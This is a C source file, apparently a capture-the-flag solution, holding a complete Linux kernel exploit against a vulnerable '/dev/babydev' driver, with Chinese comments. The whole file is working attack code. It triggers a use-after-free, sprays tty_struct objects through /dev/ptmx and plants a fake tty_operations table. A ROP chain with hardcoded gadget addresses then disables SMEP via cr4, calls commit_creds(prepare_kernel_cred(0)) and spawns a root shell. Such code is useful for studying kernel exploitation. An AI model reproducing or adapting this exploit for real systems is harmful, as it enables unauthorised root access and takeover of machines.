#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100
int spray_fd[0x100];
/* // 将tty_struct放入UAF空间,将第24字节的位置用伪造的tty_operations替换,如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
/* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // 回到用户空间之前的准备
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
void exploit() {
int i;
char *buf = (char*)malloc(0x1000);
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
save_stats();
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
write(fd2, "hello world", strlen("hello world"));
close(fd1);
// spray tty 这里的堆喷射其实去掉也能成功,因为是释放后紧接着申请的
puts("[+] Spraying buffer with tty_struct");
for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
}
// 现在有一个tty_struct落在了UAF区域里
puts("[+] Reading buffer content from kernel buffer");
long size = read(fd2, buf, 32);
if (size < 32) {
puts("[-] Reading not complete!");
printf("[-] Only %ld bytes read.\n", size);
}
// 检查喷射是否成功
puts("[+] Detecting buffer content type");
if (buf[0] != 0x01 || buf[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}
// 设置tty_operations为伪造的操作
puts("[+] Spray complete. Modifying function pointer");
unsigned long *temp = (unsigned long *)&buf[24];
*temp = (unsigned long)fake_tty_operations;
puts("[+] Preparing ROP chain");
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
unsigned long base = lower_address & ~0xfff;
printf("[+] Base address is %lx\n", base);
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
}
unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4, // cr4 = 0x6f0
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
base + 0x10000,
user_ss
};
memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
puts("[+] Writing function pointer to the driver");
long len = write(fd2, buf, 32);
if (len < 0) {
perror("write");
exit(1);
}
puts("[+] Triggering");
for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
}
}
int main() {
exploit();
return 0;
}